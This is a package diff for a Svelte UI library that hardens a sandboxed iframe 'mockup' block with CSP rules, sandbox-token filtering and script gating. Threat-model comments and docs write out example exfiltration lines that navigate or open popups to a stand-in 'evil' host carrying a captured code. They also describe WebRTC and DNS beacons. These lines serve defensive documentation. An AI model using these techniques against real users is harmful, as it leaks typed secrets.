@joewinke/jatui 0.38.0 → 0.38.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/artifact-blocks/CONTRACT.md +21 -1
- package/dist/artifact-blocks/blocks/mockup/MockupBlock.svelte +39 -5
- package/dist/artifact-blocks/blocks/mockup/block.d.ts +8 -7
- package/dist/artifact-blocks/blocks/mockup/block.js +1 -1
- package/dist/artifact-blocks/blocks/mockup/doc.d.ts +22 -7
- package/dist/artifact-blocks/blocks/mockup/doc.js +32 -11
- package/dist/artifact-blocks/blocks/mockup/sandbox.d.ts +86 -9
- package/dist/artifact-blocks/blocks/mockup/sandbox.js +43 -7
- package/dist/artifact-blocks/types.d.ts +9 -0
- package/package.json +1 -1
|
@@ -181,7 +181,27 @@ nothing looks live and silently drops input.
|
|
|
181
181
|
| `crumb` | header crumb snippet | empty crumb row |
|
|
182
182
|
| `nextActions` | `Snippet<[{ compact, autofocus, nextKey }]>` in the done states (MOS: `DeskNextActions`) | nothing |
|
|
183
183
|
| `titleMenu` | `{ header?, items: ContextMenuItem[] }` on the title's right-click | no menu |
|
|
184
|
-
| `services` | block services: `loadGoogleMaps`, `explorer3d`, `sandboxAttr`, `teamLookup`, … (`ctx.services`) | each block's own quiet fallback |
|
|
184
|
+
| `services` | block services: `loadGoogleMaps`, `explorer3d`, `sandboxAttr`, `framePolicy`, `teamLookup`, … (`ctx.services`) | each block's own quiet fallback |
|
|
185
|
+
|
|
186
|
+
`services.sandboxAttr` (mockup) can NARROW a scripted frame but never widen it:
|
|
187
|
+
a scripted mockup is `sandbox="allow-scripts"` only, with a no-beacon CSP in its
|
|
188
|
+
document and a parent-drawn "runs scripts" notice (jat-4yffn).
|
|
189
|
+
|
|
190
|
+
**Scripted mockups need `services.framePolicy = { frameSrcSelfEnforced: true }`
|
|
191
|
+
(jatui-2qhbr).** A sandboxed frame can always navigate ITSELF
|
|
192
|
+
(`location = 'https://evil/?c=CODE'`, `<meta refresh>`), and only the host
|
|
193
|
+
page's CSP stops that. Assert the flag only when every page that renders
|
|
194
|
+
artifact blocks is served with an **enforced** `frame-src 'self'` (or
|
|
195
|
+
narrower). Two look-alikes do NOT qualify, and both leak:
|
|
196
|
+
|
|
197
|
+
- `frame-src 'self' https:` — any https URL is an allowed frame target;
|
|
198
|
+
- `Content-Security-Policy-Report-Only` — it reports, it never blocks.
|
|
199
|
+
|
|
200
|
+
Without the assertion a mockup with `allowScripts: true` renders **script-free**
|
|
201
|
+
under a "Scripts disabled: this host page does not restrict frame navigation"
|
|
202
|
+
notice. WebRTC is a known gap no CSP closes. Script-free mockups still load
|
|
203
|
+
remote images and open popups — a view beacon, by design; they cannot capture
|
|
204
|
+
input. See `blocks/mockup/sandbox.ts`.
|
|
185
205
|
|
|
186
206
|
View props that are not adapter keys stay props: `onSaveBlock` + `savedBlocks`
|
|
187
207
|
(per-block state plumbing; omit → blocks get no `saveState`), `comments`
|
|
@@ -8,7 +8,14 @@
|
|
|
8
8
|
* which NEVER includes allow-same-origin (see that module for the threat
|
|
9
9
|
* model: opaque origin, no session, no cookies, no parent DOM). Scripts run
|
|
10
10
|
* only when the author passed allowScripts, and even then inside the opaque
|
|
11
|
-
* origin
|
|
11
|
+
* origin, with `sandbox="allow-scripts"` only and a no-beacon CSP in the
|
|
12
|
+
* document (jat-4yffn) — plus a "runs scripts" notice drawn HERE, in the
|
|
13
|
+
* parent, where the script cannot reach or restyle it. Scripts also need
|
|
14
|
+
* the HOST's word that its page enforces `frame-src 'self'`
|
|
15
|
+
* (`services.framePolicy.frameSrcSelfEnforced`, jatui-2qhbr): without it a
|
|
16
|
+
* script could navigate its own frame to an attacker URL, so the mockup
|
|
17
|
+
* renders script-free under a "scripts disabled" notice instead.
|
|
18
|
+
* referrerpolicy="no-referrer" mirrors ArtifactShell.
|
|
12
19
|
*
|
|
13
20
|
* The frame is a scaled viewport: the iframe is laid out at the DEVICE's
|
|
14
21
|
* pixel width and transform-scaled to the column, so a "desktop" mockup is
|
|
@@ -19,7 +26,7 @@
|
|
|
19
26
|
* The theme toggle passes data-theme=light|dark into every fragment (see
|
|
20
27
|
* ./doc.ts) — the snippet's own CSS decides what the attribute means.
|
|
21
28
|
*/
|
|
22
|
-
import { mockupSandboxAttr } from "./sandbox.js"
|
|
29
|
+
import { mockupSandboxAttr, mockupScriptsAllowed } from "./sandbox.js"
|
|
23
30
|
import type { BlockProps } from "../../types.js"
|
|
24
31
|
import { mockupDocument } from "./doc.js"
|
|
25
32
|
import {
|
|
@@ -36,8 +43,14 @@
|
|
|
36
43
|
/** Measured on-screen width of each frame's viewport, by variant id. */
|
|
37
44
|
let frameWidths = $state<Record<string, number>>({})
|
|
38
45
|
|
|
46
|
+
const requested = $derived(params.allowScripts === true)
|
|
47
|
+
const scripted = $derived(
|
|
48
|
+
mockupScriptsAllowed(requested, ctx?.services?.framePolicy),
|
|
49
|
+
)
|
|
50
|
+
/** Asked for scripts, but the host has not asserted frame-src 'self'. */
|
|
51
|
+
const scriptsBlocked = $derived(requested && !scripted)
|
|
39
52
|
const sandbox = $derived(
|
|
40
|
-
mockupSandboxAttr(
|
|
53
|
+
mockupSandboxAttr(scripted, ctx?.services?.sandboxAttr),
|
|
41
54
|
)
|
|
42
55
|
|
|
43
56
|
/**
|
|
@@ -120,6 +133,27 @@
|
|
|
120
133
|
<SectionTools {ctx} inline />
|
|
121
134
|
</header>
|
|
122
135
|
|
|
136
|
+
{#if scripted}
|
|
137
|
+
<!-- Parent-drawn label (jat-4yffn): the frame's script cannot touch it. -->
|
|
138
|
+
<p
|
|
139
|
+
class="border-warning/40 bg-warning/10 text-base-content/80 rounded-field mx-4 mt-2 border px-3 py-2 text-xs sm:mx-5"
|
|
140
|
+
data-mockup-scripted
|
|
141
|
+
>
|
|
142
|
+
<strong class="font-semibold">This mockup runs scripts.</strong>
|
|
143
|
+
It is a sketch, not a real form — never type a password or a code into it.
|
|
144
|
+
</p>
|
|
145
|
+
{:else if scriptsBlocked}
|
|
146
|
+
<!-- jatui-2qhbr: degraded to script-free; say so, never fail silently. -->
|
|
147
|
+
<p
|
|
148
|
+
class="border-base-content/15 bg-base-200 text-base-content/70 rounded-field mx-4 mt-2 border px-3 py-2 text-xs sm:mx-5"
|
|
149
|
+
data-mockup-scripts-disabled
|
|
150
|
+
>
|
|
151
|
+
<strong class="font-semibold">Scripts disabled:</strong>
|
|
152
|
+
this host page does not restrict frame navigation, so the mockup is shown
|
|
153
|
+
without its interactive parts.
|
|
154
|
+
</p>
|
|
155
|
+
{/if}
|
|
156
|
+
|
|
123
157
|
<div class="flex flex-wrap items-start gap-5 px-4 pt-2 pb-5 sm:px-5">
|
|
124
158
|
{#each params.variants as v (v.id)}
|
|
125
159
|
{@const dev = deviceOf(v.device)}
|
|
@@ -155,7 +189,7 @@
|
|
|
155
189
|
</div>
|
|
156
190
|
<iframe
|
|
157
191
|
data-mock-id={v.id}
|
|
158
|
-
srcdoc={mockupDocument(v.html, theme)}
|
|
192
|
+
srcdoc={mockupDocument(v.html, theme, scripted)}
|
|
159
193
|
{sandbox}
|
|
160
194
|
title="{v.label ?? v.id} — desktop preview"
|
|
161
195
|
referrerpolicy="no-referrer"
|
|
@@ -188,7 +222,7 @@
|
|
|
188
222
|
></span>
|
|
189
223
|
<iframe
|
|
190
224
|
data-mock-id={v.id}
|
|
191
|
-
srcdoc={mockupDocument(v.html, theme)}
|
|
225
|
+
srcdoc={mockupDocument(v.html, theme, scripted)}
|
|
192
226
|
{sandbox}
|
|
193
227
|
title="{v.label ?? v.id} — {dev} preview"
|
|
194
228
|
referrerpolicy="no-referrer"
|
|
@@ -4,13 +4,14 @@
|
|
|
4
4
|
*
|
|
5
5
|
* Params are DATA: one or more variants, each an HTML snippet rendered
|
|
6
6
|
* verbatim inside a sandboxed iframe shaped like a phone, tablet, or desktop
|
|
7
|
-
* frame. The iframe's sandbox attribute comes from
|
|
8
|
-
*
|
|
9
|
-
*
|
|
10
|
-
*
|
|
11
|
-
*
|
|
12
|
-
*
|
|
13
|
-
*
|
|
7
|
+
* frame. The iframe's sandbox attribute comes from `mockupSandboxAttr()` in
|
|
8
|
+
* ./sandbox.ts and allow-same-origin is NEVER emitted: the frame is an
|
|
9
|
+
* opaque origin with no session, no cookies, no parent DOM (see that module
|
|
10
|
+
* for the threat model). Scripts stay off unless `allowScripts` is true, and
|
|
11
|
+
* then the frame is `allow-scripts` only — no popups, no remote images or
|
|
12
|
+
* media, no network (jat-4yffn) — under a parent-drawn "runs scripts" notice,
|
|
13
|
+
* and only on a host that asserts an enforced `frame-src 'self'`
|
|
14
|
+
* (`services.framePolicy`, jatui-2qhbr); elsewhere it degrades to script-free.
|
|
14
15
|
*
|
|
15
16
|
* The light/dark toggle re-wraps fragments with `data-theme` on <html> (see
|
|
16
17
|
* ./doc.ts); the snippet's own CSS decides what that attribute means.
|
|
@@ -41,7 +41,7 @@ const example = {
|
|
|
41
41
|
const mockup = {
|
|
42
42
|
type: "mockup",
|
|
43
43
|
title: "Mockup (sandboxed HTML in device frames)",
|
|
44
|
-
description: "Renders agent-authored HTML snippets inside phone, tablet, or desktop device frames — the way to put a UI concept into an artifact WITHOUT giving that HTML the page's origin: each variant is an iframe whose sandbox attribute comes from the artifact sandbox module (opaque origin, allow-same-origin never emitted, scripts only when allowScripts is true), so the mockup can never touch the session. Pass a FRAGMENT per variant; the block wraps it and drives data-theme=light|dark on <html> so the block-level theme toggle re-skins designs that honor the attribute (a full document passes through unwrapped and owns its own theming). Variants render side by side for A/B comparison. A top-level `device` param is shorthand: it becomes the device of every variant that does not name its own (a variant's own device wins); a variant without any device defaults to phone. Budget: 48KB of HTML per variant, 256KB for the whole block. One-line tip: name variant ids after the option they show (a-phone, b-phone) — reviewers reference them in notes.",
|
|
44
|
+
description: "Renders agent-authored HTML snippets inside phone, tablet, or desktop device frames — the way to put a UI concept into an artifact WITHOUT giving that HTML the page's origin: each variant is an iframe whose sandbox attribute comes from the artifact sandbox module (opaque origin, allow-same-origin never emitted, scripts only when allowScripts is true), so the mockup can never touch the session. allowScripts is for interaction only and is locked down: the frame gets no popups (links that open a new tab do nothing), no network, and images/media/fonts only as data: URIs (Google Fonts excepted), and the page shows a \"runs scripts\" notice above it; scripts also need the host to assert an enforced frame-src 'self', and on a host that does not, the mockup renders script-free under a \"scripts disabled\" notice — leave it off unless the concept needs JS. Pass a FRAGMENT per variant; the block wraps it and drives data-theme=light|dark on <html> so the block-level theme toggle re-skins designs that honor the attribute (a full document passes through unwrapped and owns its own theming). Variants render side by side for A/B comparison. A top-level `device` param is shorthand: it becomes the device of every variant that does not name its own (a variant's own device wins); a variant without any device defaults to phone. Budget: 48KB of HTML per variant, 256KB for the whole block. One-line tip: name variant ids after the option they show (a-phone, b-phone) — reviewers reference them in notes.",
|
|
45
45
|
schema: mockupSchema,
|
|
46
46
|
component: MockupBlock,
|
|
47
47
|
// mos-8fvt9: the section's Listen + comment sit on the heading row.
|
|
@@ -1,13 +1,22 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* The sandboxed document a mockup iframe renders (mos-vzame).
|
|
3
3
|
*
|
|
4
|
-
* The iframe gets its sandbox from
|
|
5
|
-
* src/lib/modules/artifacts/sandbox.ts — the same token list the html
|
|
6
|
-
* artifact viewer serves under its `Content-Security-Policy: sandbox` header.
|
|
4
|
+
* The iframe gets its sandbox from mockupSandboxAttr() in ./sandbox.ts.
|
|
7
5
|
* allow-same-origin is absent in every mode that helper can emit; the frame
|
|
8
6
|
* is an opaque origin and can never reach the app session, cookies, or DOM.
|
|
9
|
-
* That
|
|
10
|
-
* decides WHAT the opaque-origin document contains
|
|
7
|
+
* That module is the single source of truth for the boundary and its threat
|
|
8
|
+
* model — this file decides WHAT the opaque-origin document contains, and
|
|
9
|
+
* for a SCRIPTED mockup that includes the policy head (jat-4yffn):
|
|
10
|
+
* MOCKUP_SCRIPTED_CSP as a `<meta http-equiv>` plus DNS prefetch off. A
|
|
11
|
+
* srcdoc document has no response headers, so meta is the only carrier. It
|
|
12
|
+
* is the first element in <head> (before <meta charset>, which only has to
|
|
13
|
+
* sit in the first 1024 bytes — the policy head is well under that), so it
|
|
14
|
+
* governs everything the author wrote, and a script removing the element
|
|
15
|
+
* later does not lift an applied policy.
|
|
16
|
+
*
|
|
17
|
+
* Whether a mockup is rendered scripted at all is decided by the caller
|
|
18
|
+
* (mockupScriptsAllowed in ./sandbox.ts, jatui-2qhbr): this function trusts
|
|
19
|
+
* its `scripted` argument and emits the policy head for it.
|
|
11
20
|
*
|
|
12
21
|
* The light/dark toggle works by re-wrapping the snippet with `data-theme` on
|
|
13
22
|
* the <html> element — the author's CSS decides what that attribute means
|
|
@@ -19,6 +28,12 @@
|
|
|
19
28
|
/**
|
|
20
29
|
* Wrap a mockup snippet into a full document carrying `data-theme`. A
|
|
21
30
|
* fragment gets the wrapper (body margin 0 — a mockup is full-bleed); a
|
|
22
|
-
* document that already brings `<html>` passes through verbatim
|
|
31
|
+
* document that already brings `<html>` passes through verbatim — unless it
|
|
32
|
+
* is scripted, when the policy head is PREPENDED rather than spliced in
|
|
33
|
+
* (no regex surgery on untrusted markup). The parser puts those metas in an
|
|
34
|
+
* implied <head>; the author's own doctype/<html>/<head> tags that follow
|
|
35
|
+
* are then parse errors that merge or drop harmlessly (their <html>
|
|
36
|
+
* attributes still apply). The prefix carries a doctype so the document
|
|
37
|
+
* stays in standards mode.
|
|
23
38
|
*/
|
|
24
|
-
export declare function mockupDocument(html: string, theme: "light" | "dark"): string;
|
|
39
|
+
export declare function mockupDocument(html: string, theme: "light" | "dark", scripted?: boolean): string;
|
|
@@ -1,13 +1,22 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* The sandboxed document a mockup iframe renders (mos-vzame).
|
|
3
3
|
*
|
|
4
|
-
* The iframe gets its sandbox from
|
|
5
|
-
* src/lib/modules/artifacts/sandbox.ts — the same token list the html
|
|
6
|
-
* artifact viewer serves under its `Content-Security-Policy: sandbox` header.
|
|
4
|
+
* The iframe gets its sandbox from mockupSandboxAttr() in ./sandbox.ts.
|
|
7
5
|
* allow-same-origin is absent in every mode that helper can emit; the frame
|
|
8
6
|
* is an opaque origin and can never reach the app session, cookies, or DOM.
|
|
9
|
-
* That
|
|
10
|
-
* decides WHAT the opaque-origin document contains
|
|
7
|
+
* That module is the single source of truth for the boundary and its threat
|
|
8
|
+
* model — this file decides WHAT the opaque-origin document contains, and
|
|
9
|
+
* for a SCRIPTED mockup that includes the policy head (jat-4yffn):
|
|
10
|
+
* MOCKUP_SCRIPTED_CSP as a `<meta http-equiv>` plus DNS prefetch off. A
|
|
11
|
+
* srcdoc document has no response headers, so meta is the only carrier. It
|
|
12
|
+
* is the first element in <head> (before <meta charset>, which only has to
|
|
13
|
+
* sit in the first 1024 bytes — the policy head is well under that), so it
|
|
14
|
+
* governs everything the author wrote, and a script removing the element
|
|
15
|
+
* later does not lift an applied policy.
|
|
16
|
+
*
|
|
17
|
+
* Whether a mockup is rendered scripted at all is decided by the caller
|
|
18
|
+
* (mockupScriptsAllowed in ./sandbox.ts, jatui-2qhbr): this function trusts
|
|
19
|
+
* its `scripted` argument and emits the policy head for it.
|
|
11
20
|
*
|
|
12
21
|
* The light/dark toggle works by re-wrapping the snippet with `data-theme` on
|
|
13
22
|
* the <html> element — the author's CSS decides what that attribute means
|
|
@@ -16,10 +25,15 @@
|
|
|
16
25
|
* rewriting untrusted markup by regex is exactly the fragility this block
|
|
17
26
|
* refuses; authors who bring their own document own their own theming.
|
|
18
27
|
*/
|
|
28
|
+
import { MOCKUP_SCRIPTED_CSP } from "./sandbox.js";
|
|
29
|
+
/** The scripted document's policy head (jat-4yffn). Attribute-safe: the CSP has no `"`. */
|
|
30
|
+
const SCRIPTED_POLICY = `<meta http-equiv="Content-Security-Policy" content="${MOCKUP_SCRIPTED_CSP}">
|
|
31
|
+
<meta http-equiv="x-dns-prefetch-control" content="off">
|
|
32
|
+
`;
|
|
19
33
|
const WRAPPER_HEAD = `<!doctype html>
|
|
20
34
|
<html lang="en" data-theme="THEME">
|
|
21
35
|
<head>
|
|
22
|
-
<meta charset="utf-8">
|
|
36
|
+
POLICY<meta charset="utf-8">
|
|
23
37
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
24
38
|
<style>
|
|
25
39
|
html[data-theme="light"] { color-scheme: light; }
|
|
@@ -35,10 +49,17 @@ const WRAPPER_TAIL = `
|
|
|
35
49
|
/**
|
|
36
50
|
* Wrap a mockup snippet into a full document carrying `data-theme`. A
|
|
37
51
|
* fragment gets the wrapper (body margin 0 — a mockup is full-bleed); a
|
|
38
|
-
* document that already brings `<html>` passes through verbatim
|
|
52
|
+
* document that already brings `<html>` passes through verbatim — unless it
|
|
53
|
+
* is scripted, when the policy head is PREPENDED rather than spliced in
|
|
54
|
+
* (no regex surgery on untrusted markup). The parser puts those metas in an
|
|
55
|
+
* implied <head>; the author's own doctype/<html>/<head> tags that follow
|
|
56
|
+
* are then parse errors that merge or drop harmlessly (their <html>
|
|
57
|
+
* attributes still apply). The prefix carries a doctype so the document
|
|
58
|
+
* stays in standards mode.
|
|
39
59
|
*/
|
|
40
|
-
export function mockupDocument(html, theme) {
|
|
41
|
-
if (/<html[\s>]/i.test(html))
|
|
42
|
-
return html;
|
|
43
|
-
|
|
60
|
+
export function mockupDocument(html, theme, scripted = false) {
|
|
61
|
+
if (/<html[\s>]/i.test(html)) {
|
|
62
|
+
return scripted ? `<!doctype html>\n${SCRIPTED_POLICY}${html}` : html;
|
|
63
|
+
}
|
|
64
|
+
return `${WRAPPER_HEAD.replace("THEME", theme).replace("POLICY", scripted ? SCRIPTED_POLICY : "")}${html}${WRAPPER_TAIL}`;
|
|
44
65
|
}
|
|
@@ -1,21 +1,98 @@
|
|
|
1
1
|
/**
|
|
2
|
-
* The mockup frame's `sandbox` attribute
|
|
3
|
-
* src/lib/modules/artifacts/sandbox.ts
|
|
2
|
+
* The mockup frame's `sandbox` attribute and the CSP its scripted document
|
|
3
|
+
* carries (origin: MOS src/lib/modules/artifacts/sandbox.ts
|
|
4
|
+
* artifactSandboxAttr, bad16b324; scripted hardening ported from jat
|
|
5
|
+
* ide/src/lib/server/artifacts/sandboxPolicy.ts, jat-4yffn).
|
|
4
6
|
*
|
|
5
7
|
* Each variant is agent-authored HTML in an iframe `srcdoc`. The sandbox puts
|
|
6
8
|
* it in an OPAQUE origin: no session, no cookies, no parent DOM. That only
|
|
7
9
|
* holds while `allow-same-origin` is absent — srcdoc with scripts +
|
|
8
10
|
* same-origin is the one combination that defeats it — so this module never
|
|
9
|
-
* emits it, and strips it from a host override too.
|
|
11
|
+
* emits it, and strips it from a host override too. Top navigation is never
|
|
12
|
+
* granted either: a mockup may not replace the page it sits in.
|
|
13
|
+
*
|
|
14
|
+
* ## Script-free mockups (unchanged)
|
|
10
15
|
*
|
|
11
16
|
* `allow-popups` + `allow-popups-to-escape-sandbox`: a link in a mockup that
|
|
12
|
-
* opens a new tab lands on a normal page, not a sandboxed one.
|
|
13
|
-
*
|
|
17
|
+
* opens a new tab lands on a normal page, not a sandboxed one. A host may
|
|
18
|
+
* widen or narrow that list with `services.sandboxAttr` (a string, or a
|
|
19
|
+
* function of allowScripts); the never-tokens and `allow-scripts` are removed
|
|
20
|
+
* from whatever it returns.
|
|
21
|
+
*
|
|
22
|
+
* ## Scripted mockups (`allowScripts: true`) — jat-4yffn
|
|
23
|
+
*
|
|
24
|
+
* The opaque origin keeps agent JavaScript away from the session, but not
|
|
25
|
+
* away from the HUMAN looking at it: a script can draw a fake "confirm it's
|
|
26
|
+
* you" box, capture a typed code, and get it out. So a scripted frame is
|
|
27
|
+
* `sandbox="allow-scripts"` and nothing else, and its document carries
|
|
28
|
+
* MOCKUP_SCRIPTED_CSP (see ./doc.ts):
|
|
29
|
+
*
|
|
30
|
+
* - no popups at all — `window.open('https://evil/?c=CODE')` leaks the code
|
|
31
|
+
* in the URL whether or not the popup escapes the sandbox. Links that
|
|
32
|
+
* open a new tab therefore do not open; that is the trade.
|
|
33
|
+
* - `img-src data:` / `media-src data:` — an image or media fetch is a
|
|
34
|
+
* beacon `connect-src 'none'` does not cover.
|
|
35
|
+
* - `x-dns-prefetch-control: off` — a prefetched hostname is a DNS beacon
|
|
36
|
+
* outside every fetch directive.
|
|
37
|
+
*
|
|
38
|
+
* A host may NARROW a scripted frame with `services.sandboxAttr` (returning
|
|
39
|
+
* "" turns scripts off) but never widen it: only `allow-scripts` survives.
|
|
40
|
+
* MockupBlock draws a "runs scripts" notice in the parent page, outside the
|
|
41
|
+
* frame, so the label is chrome the script cannot reach.
|
|
42
|
+
*
|
|
43
|
+
* ## What the host must assert, and what nobody can close
|
|
44
|
+
*
|
|
45
|
+
* - Self-navigation (jatui-2qhbr): a sandboxed document may always navigate
|
|
46
|
+
* its OWN frame (`location = 'https://evil/?c=CODE'`, or a meta refresh),
|
|
47
|
+
* and nothing in its CSP can stop that. Only the PARENT's CSP can: an
|
|
48
|
+
* ENFORCED `frame-src 'self'` (or narrower) on the host page — the browser
|
|
49
|
+
* checks it on every navigation of the child frame, while the initial
|
|
50
|
+
* srcdoc load is not subject to it. Two near-misses both leak (verified in
|
|
51
|
+
* Chromium against mos): `frame-src 'self' https:` (any https URL is a
|
|
52
|
+
* valid target) and a Report-Only policy (reports, never blocks). jatui
|
|
53
|
+
* cannot read the parent's response headers, so this is a CHECKED
|
|
54
|
+
* precondition instead of advice: the host asserts it with
|
|
55
|
+
* `services.framePolicy = { frameSrcSelfEnforced: true }`, and a scripted
|
|
56
|
+
* mockup runs scripts ONLY under that assertion (mockupScriptsAllowed).
|
|
57
|
+
* Without it the mockup degrades to script-free and MockupBlock says so.
|
|
58
|
+
* - WebRTC: an RTCPeerConnection to an attacker's STUN/TURN server gets
|
|
59
|
+
* packets out, and no shipped CSP directive governs it. That is why the
|
|
60
|
+
* notice exists and why a real credential prompt belongs to the host page,
|
|
61
|
+
* never inside a frame.
|
|
14
62
|
*
|
|
15
|
-
*
|
|
16
|
-
*
|
|
17
|
-
*
|
|
18
|
-
*
|
|
63
|
+
* - Script-free mockups are NOT beacon-free, by design: they load remote
|
|
64
|
+
* images and may open (sandbox-escaping) popups, so an author can learn
|
|
65
|
+
* that, and roughly when, a mockup was viewed. They cannot capture input
|
|
66
|
+
* (no scripts), so nothing typed into them leaves the frame.
|
|
67
|
+
*
|
|
68
|
+
* jat's raw-route gate (Sec-Fetch-Dest/Site) has no counterpart here: a
|
|
69
|
+
* srcdoc frame has no URL that could be opened full-window without the
|
|
70
|
+
* notice.
|
|
19
71
|
*/
|
|
20
72
|
export type SandboxAttrService = string | ((allowScripts: boolean) => string);
|
|
73
|
+
/**
|
|
74
|
+
* The host's assertion about its OWN page CSP (`services.framePolicy`,
|
|
75
|
+
* jatui-2qhbr). `frameSrcSelfEnforced: true` claims the page that renders
|
|
76
|
+
* blocks is served with an ENFORCED (not Report-Only) `frame-src 'self'` —
|
|
77
|
+
* or narrower — and no `https:`/`*` source in it. Assert it only when that
|
|
78
|
+
* header is really sent on every route that renders artifact blocks.
|
|
79
|
+
*/
|
|
80
|
+
export interface FramePolicyService {
|
|
81
|
+
frameSrcSelfEnforced?: boolean;
|
|
82
|
+
}
|
|
83
|
+
/**
|
|
84
|
+
* Whether a mockup that ASKED for scripts may run them: only when the host
|
|
85
|
+
* asserted an enforced `frame-src 'self'` (strictly `true` — a truthy string
|
|
86
|
+
* or a missing service is no assertion). Otherwise it degrades to
|
|
87
|
+
* script-free, which closes self-navigation (no script, and a sandbox without
|
|
88
|
+
* allow-scripts blocks meta refresh) at the cost of interactivity.
|
|
89
|
+
*/
|
|
90
|
+
export declare function mockupScriptsAllowed(requested: boolean, framePolicy?: unknown): boolean;
|
|
91
|
+
/**
|
|
92
|
+
* The CSP a scripted mockup document carries (as a `<meta http-equiv>`,
|
|
93
|
+
* see ./doc.ts). Mirrors jat's scripted artifactCsp minus the directives a
|
|
94
|
+
* meta policy cannot express (sandbox, frame-ancestors) — the iframe's
|
|
95
|
+
* sandbox attribute covers the former.
|
|
96
|
+
*/
|
|
97
|
+
export declare const MOCKUP_SCRIPTED_CSP: string;
|
|
21
98
|
export declare function mockupSandboxAttr(allowScripts: boolean, override?: unknown): string;
|
|
@@ -1,4 +1,41 @@
|
|
|
1
|
-
|
|
1
|
+
/**
|
|
2
|
+
* Whether a mockup that ASKED for scripts may run them: only when the host
|
|
3
|
+
* asserted an enforced `frame-src 'self'` (strictly `true` — a truthy string
|
|
4
|
+
* or a missing service is no assertion). Otherwise it degrades to
|
|
5
|
+
* script-free, which closes self-navigation (no script, and a sandbox without
|
|
6
|
+
* allow-scripts blocks meta refresh) at the cost of interactivity.
|
|
7
|
+
*/
|
|
8
|
+
export function mockupScriptsAllowed(requested, framePolicy) {
|
|
9
|
+
return (requested === true &&
|
|
10
|
+
typeof framePolicy === "object" &&
|
|
11
|
+
framePolicy !== null &&
|
|
12
|
+
framePolicy.frameSrcSelfEnforced === true);
|
|
13
|
+
}
|
|
14
|
+
/** Tokens no mockup frame may ever carry, in either mode. */
|
|
15
|
+
const NEVER = new Set([
|
|
16
|
+
"allow-same-origin",
|
|
17
|
+
"allow-top-navigation",
|
|
18
|
+
"allow-top-navigation-by-user-activation",
|
|
19
|
+
]);
|
|
20
|
+
/** The only token a scripted frame may carry; a host override is intersected with it. */
|
|
21
|
+
const SCRIPTED_ALLOWED = new Set(["allow-scripts"]);
|
|
22
|
+
/**
|
|
23
|
+
* The CSP a scripted mockup document carries (as a `<meta http-equiv>`,
|
|
24
|
+
* see ./doc.ts). Mirrors jat's scripted artifactCsp minus the directives a
|
|
25
|
+
* meta policy cannot express (sandbox, frame-ancestors) — the iframe's
|
|
26
|
+
* sandbox attribute covers the former.
|
|
27
|
+
*/
|
|
28
|
+
export const MOCKUP_SCRIPTED_CSP = [
|
|
29
|
+
"default-src 'none'",
|
|
30
|
+
"script-src 'unsafe-inline' 'unsafe-eval'",
|
|
31
|
+
"style-src 'unsafe-inline' https://fonts.googleapis.com",
|
|
32
|
+
"font-src data: https://fonts.gstatic.com",
|
|
33
|
+
"img-src data:",
|
|
34
|
+
"media-src data:",
|
|
35
|
+
"connect-src 'none'",
|
|
36
|
+
"form-action 'none'",
|
|
37
|
+
"base-uri 'none'",
|
|
38
|
+
].join("; ");
|
|
2
39
|
export function mockupSandboxAttr(allowScripts, override) {
|
|
3
40
|
let raw;
|
|
4
41
|
if (typeof override === "function") {
|
|
@@ -15,13 +52,12 @@ export function mockupSandboxAttr(allowScripts, override) {
|
|
|
15
52
|
.split(/\s+/)
|
|
16
53
|
.map((t) => t.trim().toLowerCase())
|
|
17
54
|
.filter(Boolean)
|
|
18
|
-
.filter((t) => !
|
|
19
|
-
.filter((t) => allowScripts
|
|
55
|
+
.filter((t) => !NEVER.has(t))
|
|
56
|
+
.filter((t) => allowScripts ? SCRIPTED_ALLOWED.has(t) : t !== "allow-scripts");
|
|
20
57
|
return [...new Set(tokens)].join(" ");
|
|
21
58
|
}
|
|
22
59
|
function defaultTokens(allowScripts) {
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
return tokens.join(" ");
|
|
60
|
+
return allowScripts
|
|
61
|
+
? "allow-scripts"
|
|
62
|
+
: "allow-popups allow-popups-to-escape-sandbox";
|
|
27
63
|
}
|
|
@@ -471,6 +471,15 @@ export interface BlockServices {
|
|
|
471
471
|
explorer3d?: Component<Record<string, unknown>>;
|
|
472
472
|
/** Mockup block: the `sandbox` attribute for untrusted HTML frames. */
|
|
473
473
|
sandboxAttr?: string;
|
|
474
|
+
/**
|
|
475
|
+
* Mockup block (jatui-2qhbr): the host asserts its page is served with an
|
|
476
|
+
* ENFORCED `frame-src 'self'` (not Report-Only, no `https:`). Scripted
|
|
477
|
+
* mockups run scripts only under `{ frameSrcSelfEnforced: true }`;
|
|
478
|
+
* otherwise they render script-free with a notice.
|
|
479
|
+
*/
|
|
480
|
+
framePolicy?: {
|
|
481
|
+
frameSrcSelfEnforced?: boolean;
|
|
482
|
+
};
|
|
474
483
|
/** Team lookup for review chips (ids → display names). */
|
|
475
484
|
teamLookup?: (ids: string[]) => Promise<Record<string, string>>;
|
|
476
485
|
[key: string]: unknown;
|